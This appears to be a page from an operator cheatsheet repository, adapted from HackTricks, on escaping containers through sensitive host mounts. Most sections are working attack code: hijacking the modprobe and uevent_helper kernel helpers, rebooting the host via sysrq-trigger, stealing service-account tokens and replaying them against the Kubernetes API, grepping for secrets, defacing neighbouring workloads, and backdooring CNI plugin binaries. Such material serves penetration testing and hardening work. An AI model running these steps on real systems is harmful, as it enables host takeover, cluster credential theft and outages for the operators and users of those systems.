daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

sensitive-host-mounts.md (21490B)


      1 ---
      2 title: "Sensitive Host Mounts"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/sensitive-host-mounts.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/sensitive-host-mounts.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Sensitive Host Mounts
     14 
     15 ## Overview
     16 
     17 Host mounts are one of the most important practical container-escape surfaces because they often collapse a carefully isolated process view back into direct visibility of host resources. The dangerous cases are not limited to `/`. Bind mounts of `/proc`, `/sys`, `/var`, runtime sockets, kubelet-managed state, or device-related paths can expose kernel controls, credentials, neighboring container filesystems, and runtime management interfaces.
     18 
     19 This page exists separately from the individual protection pages because the abuse model is cross-cutting. A writable host mount is dangerous partly because of mount namespaces, partly because of user namespaces, partly because of AppArmor or SELinux coverage, and partly because of what exact host path was exposed. Treating it as its own topic makes the attack surface much easier to reason about.
     20 
     21 ## `/proc` Exposure
     22 
     23 procfs contains both ordinary process information and high-impact kernel control interfaces. A bind mount such as `-v /proc:/host/proc` or a container view that exposes unexpected writable proc entries can therefore lead to information disclosure, denial of service, or direct host code execution.
     24 
     25 High-value procfs paths include:
     26 
     27 - `/proc/sys/kernel/core_pattern`
     28 - `/proc/sys/kernel/modprobe`
     29 - `/proc/sys/vm/panic_on_oom`
     30 - `/proc/sys/fs/binfmt_misc`
     31 - `/proc/config.gz`
     32 - `/proc/sysrq-trigger`
     33 - `/proc/kmsg`
     34 - `/proc/kallsyms`
     35 - `/proc/[pid]/mem`
     36 - `/proc/kcore`
     37 - `/proc/kmem`
     38 - `/proc/mem`
     39 - `/proc/sched_debug`
     40 - `/proc/[pid]/mountinfo`
     41 
     42 ### Abuse
     43 
     44 Start by checking which high-value procfs entries are visible or writable:
     45 
     46 ```bash
     47 for p in \
     48   /proc/sys/kernel/core_pattern \
     49   /proc/sys/kernel/modprobe \
     50   /proc/sysrq-trigger \
     51   /proc/kmsg \
     52   /proc/kallsyms \
     53   /proc/kcore \
     54   /proc/sched_debug \
     55   /proc/1/mountinfo \
     56   /proc/config.gz; do
     57   [ -e "$p" ] && ls -l "$p"
     58 done
     59 ```
     60 
     61 These paths are interesting for different reasons. `core_pattern`, `modprobe`, and `binfmt_misc` can become host code-execution paths when writable. `kallsyms`, `kmsg`, `kcore`, and `config.gz` are powerful reconnaissance sources for kernel exploitation. `sched_debug` and `mountinfo` reveal process, cgroup, and filesystem context that can help reconstruct the host layout from inside the container.
     62 
     63 The practical value of each path is different, and treating them all as if they had the same impact makes triage harder:
     64 
     65 - `/proc/sys/kernel/core_pattern`
     66   If writable, this is one of the highest-impact procfs paths because the kernel will execute a pipe handler after a crash. A container that can point `core_pattern` at a payload stored in its overlay or in a mounted host path can often obtain host code execution. See also [read-only-paths.md](/hacktricks/linux-hardening/containers-namespaces/container-security/protections/read-only-paths) for a dedicated example.
     67 - `/proc/sys/kernel/modprobe`
     68   This path controls the userspace helper used by the kernel when it needs to invoke module-loading logic. If writable from the container and interpreted in the host context, it can become another host code-execution primitive. It is especially interesting when combined with a way to trigger the helper path.
     69 - `/proc/sys/vm/panic_on_oom`
     70   This is not usually a clean escape primitive, but it can convert memory pressure into host-wide denial of service by turning OOM conditions into kernel panic behavior.
     71 - `/proc/sys/fs/binfmt_misc`
     72   If the registration interface is writable, the attacker may register a handler for a chosen magic value and obtain host-context execution when a matching file is executed.
     73 - `/proc/config.gz`
     74   Useful for kernel exploit triage. It helps determine which subsystems, mitigations, and optional kernel features are enabled without needing host package metadata.
     75 - `/proc/sysrq-trigger`
     76   Mostly a denial-of-service path, but a very serious one. It can reboot, panic, or otherwise disrupt the host immediately.
     77 - `/proc/kmsg`
     78   Reveals kernel ring buffer messages. Useful for host fingerprinting, crash analysis, and in some environments for leaking information helpful to kernel exploitation.
     79 - `/proc/kallsyms`
     80   Valuable when readable because it exposes exported kernel symbol information and may help defeat address randomization assumptions during kernel exploit development.
     81 - `/proc/[pid]/mem`
     82   This is a direct process-memory interface. If the target process is reachable with the necessary ptrace-style conditions, it may allow reading or modifying another process's memory. The realistic impact depends heavily on credentials, `hidepid`, Yama, and ptrace restrictions, so it is a powerful but conditional path.
     83 - `/proc/kcore`
     84   Exposes a core-image-style view of system memory. The file is huge and awkward to use, but if it is meaningfully readable it indicates a badly exposed host memory surface.
     85 - `/proc/kmem` and `/proc/mem`
     86   Historically high-impact raw memory interfaces. On many modern systems they are disabled or heavily restricted, but if present and usable they should be treated as critical findings.
     87 - `/proc/sched_debug`
     88   Leaks scheduling and task information that may expose host process identities even when other process views look cleaner than expected.
     89 - `/proc/[pid]/mountinfo`
     90   Extremely useful for reconstructing where the container really lives on the host, which paths are overlay-backed, and whether a writable mount corresponds to host content or only to the container layer.
     91 
     92 If `/proc/[pid]/mountinfo` or overlay details are readable, use them to recover the host path of the container filesystem:
     93 
     94 ```bash
     95 cat /proc/self/mountinfo | head -n 50
     96 mount | grep overlay
     97 ```
     98 
     99 These commands are useful because a number of host-execution tricks require turning a path inside the container into the corresponding path from the host's point of view.
    100 
    101 ### Full Example: `modprobe` Helper Path Abuse
    102 
    103 If `/proc/sys/kernel/modprobe` is writable from the container and the helper path is interpreted in the host context, it can be redirected to an attacker-controlled payload:
    104 
    105 ```bash
    106 [ -w /proc/sys/kernel/modprobe ] || exit 1
    107 host_path=$(mount | sed -n 's/.*upperdir=\([^,]*\).*/\1/p' | head -n1)
    108 cat <<'EOF' > /tmp/modprobe-payload
    109 #!/bin/sh
    110 id > /tmp/modprobe.out
    111 EOF
    112 chmod +x /tmp/modprobe-payload
    113 echo "$host_path/tmp/modprobe-payload" > /proc/sys/kernel/modprobe
    114 cat /proc/sys/kernel/modprobe
    115 ```
    116 
    117 The exact trigger depends on the target and kernel behavior, but the important point is that a writable helper path can redirect a future kernel helper invocation into attacker-controlled host-path content.
    118 
    119 ### Full Example: Kernel Recon With `kallsyms`, `kmsg`, And `config.gz`
    120 
    121 If the goal is exploitability assessment rather than immediate escape:
    122 
    123 ```bash
    124 head -n 20 /proc/kallsyms 2>/dev/null
    125 dmesg 2>/dev/null | head -n 50
    126 zcat /proc/config.gz 2>/dev/null | egrep 'IKCONFIG|BPF|USER_NS|SECCOMP|KPROBES' | head -n 50
    127 ```
    128 
    129 These commands help answer whether useful symbol information is visible, whether recent kernel messages reveal interesting state, and which kernel features or mitigations are compiled in. The impact is usually not direct escape, but it can sharply shorten kernel-vulnerability triage.
    130 
    131 ### Full Example: SysRq Host Reboot
    132 
    133 If `/proc/sysrq-trigger` is writable and reaches the host view:
    134 
    135 ```bash
    136 echo b > /proc/sysrq-trigger
    137 ```
    138 
    139 The effect is immediate host reboot. This is not a subtle example, but it clearly demonstrates that procfs exposure can be far more serious than information disclosure.
    140 
    141 ## `/sys` Exposure
    142 
    143 sysfs exposes large amounts of kernel and device state. Some sysfs paths are mainly useful for fingerprinting, while others can affect helper execution, device behavior, security-module configuration, or firmware state.
    144 
    145 High-value sysfs paths include:
    146 
    147 - `/sys/kernel/uevent_helper`
    148 - `/sys/class/thermal`
    149 - `/sys/kernel/vmcoreinfo`
    150 - `/sys/kernel/security`
    151 - `/sys/firmware/efi/vars`
    152 - `/sys/firmware/efi/efivars`
    153 - `/sys/kernel/debug`
    154 
    155 These paths matter for different reasons. `/sys/class/thermal` can influence thermal-management behavior and therefore host stability in badly exposed environments. `/sys/kernel/vmcoreinfo` can leak crash-dump and kernel-layout information that helps with low-level host fingerprinting. `/sys/kernel/security` is the `securityfs` interface used by Linux Security Modules, so unexpected access there may expose or alter MAC-related state. EFI variable paths can affect firmware-backed boot settings, making them much more serious than ordinary configuration files. `debugfs` under `/sys/kernel/debug` is especially dangerous because it is intentionally a developer-oriented interface with far fewer safety expectations than hardened production-facing kernel APIs.
    156 
    157 Useful review commands for these paths are:
    158 
    159 ```bash
    160 find /sys/kernel/security -maxdepth 3 -type f 2>/dev/null | head -n 50
    161 find /sys/kernel/debug -maxdepth 3 -type f 2>/dev/null | head -n 50
    162 find /sys/firmware/efi -maxdepth 3 -type f 2>/dev/null | head -n 50
    163 find /sys/class/thermal -maxdepth 3 -type f 2>/dev/null | head -n 50
    164 cat /sys/kernel/vmcoreinfo 2>/dev/null | head -n 20
    165 ```
    166 
    167 What makes those commands interesting:
    168 
    169 - `/sys/kernel/security` may reveal whether AppArmor, SELinux, or another LSM surface is visible in a way that should have stayed host-only.
    170 - `/sys/kernel/debug` is often the most alarming finding in this group. If `debugfs` is mounted and readable or writable, expect a wide kernel-facing surface whose exact risk depends on the enabled debug nodes.
    171 - EFI variable exposure is less common, but if present it is high impact because it touches firmware-backed settings rather than ordinary runtime files.
    172 - `/sys/class/thermal` is mainly relevant for host stability and hardware interaction, not for neat shell-style escape.
    173 - `/sys/kernel/vmcoreinfo` is mainly a host-fingerprinting and crash-analysis source, useful for understanding low-level kernel state.
    174 
    175 ### Full Example: `uevent_helper`
    176 
    177 If `/sys/kernel/uevent_helper` is writable, the kernel may execute an attacker-controlled helper when a `uevent` is triggered:
    178 
    179 ```bash
    180 cat <<'EOF' > /evil-helper
    181 #!/bin/sh
    182 id > /output
    183 EOF
    184 chmod +x /evil-helper
    185 host_path=$(mount | sed -n 's/.*upperdir=\([^,]*\).*/\1/p' | head -n1)
    186 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
    187 echo change > /sys/class/mem/null/uevent
    188 cat /output
    189 ```
    190 
    191 The reason this works is that the helper path is interpreted from the host's point of view. Once triggered, the helper runs in the host context rather than inside the current container.
    192 
    193 ## `/var` Exposure
    194 
    195 Mounting the host's `/var` into a container is often underestimated because it does not look as dramatic as mounting `/`. In practice it can be enough to reach runtime sockets, container snapshot directories, kubelet-managed pod volumes, projected service-account tokens, and neighboring application filesystems. On modern nodes, `/var` is often where the most operationally interesting container state actually lives.
    196 
    197 ### Kubernetes Example
    198 
    199 A pod with `hostPath: /var` can often read other pods' projected tokens and overlay snapshot content:
    200 
    201 ```bash
    202 find /host-var/ -type f -iname '*.env*' 2>/dev/null
    203 find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
    204 cat /host-var/lib/kubelet/pods/<pod-id>/volumes/kubernetes.io~projected/<volume>/token 2>/dev/null
    205 ```
    206 
    207 These commands are useful because they answer whether the mount exposes only dull application data or high-impact cluster credentials. A readable service-account token may immediately turn local code execution into Kubernetes API access.
    208 
    209 If the token is present, validate what it can reach instead of stopping at token discovery:
    210 
    211 ```bash
    212 TOKEN=$(cat /host-var/lib/kubelet/pods/<pod-id>/volumes/kubernetes.io~projected/<volume>/token 2>/dev/null)
    213 curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api
    214 ```
    215 
    216 The impact here may be much larger than local node access. A token with broad RBAC can turn a mounted `/var` into cluster-wide compromise.
    217 
    218 ### Docker And containerd Example
    219 
    220 On Docker hosts the relevant data is often under `/var/lib/docker`, while on containerd-backed Kubernetes nodes it may be under `/var/lib/containerd` or snapshotter-specific paths:
    221 
    222 ```bash
    223 docker info 2>/dev/null | grep -i 'docker root\\|storage driver'
    224 find /host-var/lib -maxdepth 5 -type f -iname '*.env*' 2>/dev/null | head -n 50
    225 find /host-var/lib -maxdepth 8 -type f -iname 'index.html' 2>/dev/null | head -n 50
    226 ```
    227 
    228 If the mounted `/var` exposes writable snapshot contents of another workload, the attacker may be able to alter application files, plant web content, or change startup scripts without touching the current container configuration.
    229 
    230 Concrete abuse ideas once writable snapshot content is found:
    231 
    232 ```bash
    233 echo '<html><body>pwned</body></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/<id>/fs/usr/share/nginx/html/index2.html 2>/dev/null
    234 grep -Rni 'JWT_SECRET\\|TOKEN\\|PASSWORD' /host-var/lib 2>/dev/null | head -n 50
    235 find /host-var/lib -type f -path '*/.ssh/*' -o -path '*/authorized_keys' 2>/dev/null | head -n 20
    236 ```
    237 
    238 These commands are useful because they show the three main impact families of mounted `/var`: application tampering, secret recovery, and lateral movement into neighboring workloads.
    239 
    240 ## Kubelet State, Plugins, And CNI Paths
    241 
    242 A mount of `/var/lib/kubelet`, `/opt/cni/bin`, or `/etc/cni/net.d` is often exposed through privileged DaemonSets, CNI agents, CSI node plugins, GPU operators, and storage helpers. These mounts are easy to dismiss as "node plumbing", but they sit directly in the execution path for new pods and often contain kubelet credentials, projected secrets, registration sockets, and executable host-side plugin binaries.
    243 
    244 High-value targets include:
    245 
    246 - `/var/lib/kubelet/pki`
    247 - `/var/lib/kubelet/pods`
    248 - `/var/lib/kubelet/device-plugins/kubelet.sock`
    249 - `/var/lib/kubelet/pod-resources/kubelet.sock`
    250 - `/var/lib/kubelet/plugins`
    251 - `/var/lib/kubelet/plugins_registry`
    252 - `/opt/cni/bin`
    253 - `/etc/cni/net.d`
    254 
    255 Useful review commands are:
    256 
    257 ```bash
    258 find /host-var/lib/kubelet -maxdepth 3 \( -type f -o -type s \) 2>/dev/null | \
    259   egrep 'pki|pods/.*/token|device-plugins|pod-resources|plugins(_registry)?' | head -n 100
    260 ls -ld /host/opt/cni/bin /host/etc/cni/net.d 2>/dev/null
    261 find /host/opt/cni/bin -maxdepth 1 -type f -perm /111 2>/dev/null
    262 grep -RniE 'type|ipam|delegate' /host/etc/cni/net.d 2>/dev/null | head -n 50
    263 ```
    264 
    265 Why these paths matter:
    266 
    267 - `/var/lib/kubelet/pki` may expose kubelet client certificates and other node-local credentials that can sometimes be reused against the API server or kubelet-facing TLS endpoints, depending on cluster design.<sup>[[1]](#references)</sup>
    268 - `/var/lib/kubelet/pods` often contains projected service-account tokens and mounted Secrets for neighboring pods on the same node.
    269 - `/var/lib/kubelet/pod-resources/kubelet.sock` is mainly a reconnaissance surface, but a very useful one: it reveals which pods and containers currently own GPUs, hugepages, SR-IOV devices, and other scarce node-local resources.<sup>[[1]](#references)</sup>
    270 - `/var/lib/kubelet/device-plugins`, `/var/lib/kubelet/plugins`, and `/var/lib/kubelet/plugins_registry` reveal which CSI, DRA, and device plugins are installed and which sockets the kubelet is expected to talk to. If those directories are writable rather than merely readable, the finding becomes much more serious.<sup>[[1]](#references)</sup>
    271 - `/opt/cni/bin` and `/etc/cni/net.d` sit directly on the pod-network setup path. Writable access there is often a delayed host-execution primitive rather than just configuration exposure.<sup>[[2]](#references)</sup>
    272 
    273 ### Full Example: Writable `/opt/cni/bin`
    274 
    275 If a host CNI binary directory is mounted read-write, replacing a plugin can be enough to obtain host execution the next time the kubelet creates a pod sandbox on that node:<sup>[[2]](#references)</sup>
    276 
    277 ```bash
    278 plugin=$(find /host/opt/cni/bin -maxdepth 1 -type f -perm /111 | \
    279   grep -E '/(bridge|loopback|portmap|calico|flannel|cilium-cni)$' | head -n1)
    280 [ -n "$plugin" ] || exit 1
    281 mv "$plugin" "${plugin}.orig"
    282 cat <<'EOF' > "$plugin"
    283 #!/bin/sh
    284 id > /tmp/cni-triggered
    285 exec "$(dirname "$0")/$(basename "$0").orig" "$@"
    286 EOF
    287 chmod +x "$plugin"
    288 echo "wait for the next pod scheduled on this node"
    289 ```
    290 
    291 This is not as immediate as a mounted `docker.sock`, but it is often more realistic in compromised Kubernetes infrastructure pods. The important point is that the modified binary is later executed by the host network setup flow, not by the current container.
    292 
    293 ## Runtime Sockets
    294 
    295 Sensitive host mounts often include runtime sockets rather than full directories. These are so important that they deserve explicit repetition here:
    296 
    297 ```text
    298 /run/containerd/containerd.sock
    299 /var/run/crio/crio.sock
    300 /run/podman/podman.sock
    301 /run/buildkit/buildkitd.sock
    302 /var/run/kubelet.sock
    303 /run/firecracker-containerd.sock
    304 ```
    305 
    306 See [runtime-api-and-daemon-exposure.md](/hacktricks/linux-hardening/containers-namespaces/container-security/runtime-api-and-daemon-exposure) for full exploitation flows once one of these sockets is mounted.
    307 
    308 As a quick first interaction pattern:
    309 
    310 ```bash
    311 docker -H unix:///host/run/docker.sock version 2>/dev/null
    312 ctr --address /host/run/containerd/containerd.sock images ls 2>/dev/null
    313 crictl --runtime-endpoint unix:///host/var/run/crio/crio.sock ps 2>/dev/null
    314 ```
    315 
    316 If one of these succeeds, the path from "mounted socket" to "start a more privileged sibling container" is usually much shorter than any kernel breakout path.
    317 
    318 ## Writable Host Path Task Hijack
    319 
    320 A writable host mount does not need to expose `/` to be dangerous. If the mounted path contains scripts, config files, hooks, plugins, or files consumed later by a host-side scheduled task or service, the container may be able to change what the host executes.
    321 
    322 Generic review flow:
    323 
    324 ```bash
    325 mount | grep -E ' /host|/mnt|/shared|/opt|/var '
    326 find /host /mnt /shared -maxdepth 4 -type f -writable 2>/dev/null | head -n 50
    327 grep -RniE 'cron|systemd|ExecStart|sh |bash |python|backup|hook|plugin' /host /mnt /shared 2>/dev/null | head -n 50
    328 ```
    329 
    330 If a writable file is consumed by a host process, keep the payload simple and observable while testing:
    331 
    332 ```bash
    333 printf '#!/bin/sh\nid >/tmp/host-task-check\n' > /host/path/to/hook.sh
    334 chmod +x /host/path/to/hook.sh
    335 ```
    336 
    337 The interesting part is the trust boundary: the write happens from inside the container, but execution happens later in the host service context. This turns a narrow hostPath or bind mount into a delayed host-code-execution primitive.
    338 
    339 ## Mount-Related CVEs
    340 
    341 Host mounts also intersect with runtime vulnerabilities. Important recent examples include:
    342 
    343 - `CVE-2024-21626` in `runc`, where a leaked directory file descriptor could place the working directory on the host filesystem.
    344 - `CVE-2024-23651`, `CVE-2024-23652`, and `CVE-2024-23653` in BuildKit, where malicious Dockerfiles, frontends, and `RUN --mount` flows could reintroduce host file access, deletion, or elevated privileges during builds.
    345 - `CVE-2024-1753` in Buildah and Podman build flows, where crafted bind mounts during build could expose `/` read-write.
    346 - `CVE-2025-47290` in `containerd` 2.1.0, where a TOCTOU during image unpack could let a specially crafted image modify the host filesystem during pull.
    347 
    348 These CVEs matter here because they show that mount handling is not only about operator configuration. The runtime itself may also introduce mount-driven escape conditions.
    349 
    350 ## Checks
    351 
    352 Use these commands to locate the highest-value mount exposures quickly:
    353 
    354 ```bash
    355 mount
    356 find / -maxdepth 3 \( -path '/host*' -o -path '/mnt*' -o -path '/rootfs*' \) -type d 2>/dev/null | head -n 100
    357 find / -maxdepth 4 \( -name docker.sock -o -name containerd.sock -o -name crio.sock -o -name podman.sock -o -name kubelet.sock \) 2>/dev/null
    358 find /host-var/lib/kubelet -maxdepth 3 \( -type f -o -type s \) 2>/dev/null | egrep 'pki|token|device-plugins|pod-resources|plugins(_registry)?' | head -n 100
    359 ls -ld /host/opt/cni/bin /host/etc/cni/net.d 2>/dev/null
    360 find /proc/sys -maxdepth 3 -writable 2>/dev/null | head -n 50
    361 find /sys -maxdepth 4 -writable 2>/dev/null | head -n 50
    362 ```
    363 
    364 What is interesting here:
    365 
    366 - Host root, `/proc`, `/sys`, `/var`, and runtime sockets are all high-priority findings.
    367 - Writable proc/sys entries often mean the mount is exposing host-global kernel controls rather than a safe container view.
    368 - Mounted `/var` paths deserve credential and neighboring-workload review, not just filesystem review.
    369 - Kubelet state directories and CNI/plugin paths deserve the same priority as runtime sockets because they often sit directly on the node's pod-creation and credential-distribution path.
    370 
    371 ## References
    372 
    373 - [1] [Local Files And Paths Used By The Kubelet](https://kubernetes.io/docs/reference/node/kubelet-files/)
    374 - [2] [cilium-agent container can access the host via `hostPath` mount](https://github.com/cilium/cilium/security/advisories/GHSA-4hc4-pgfx-3mrx)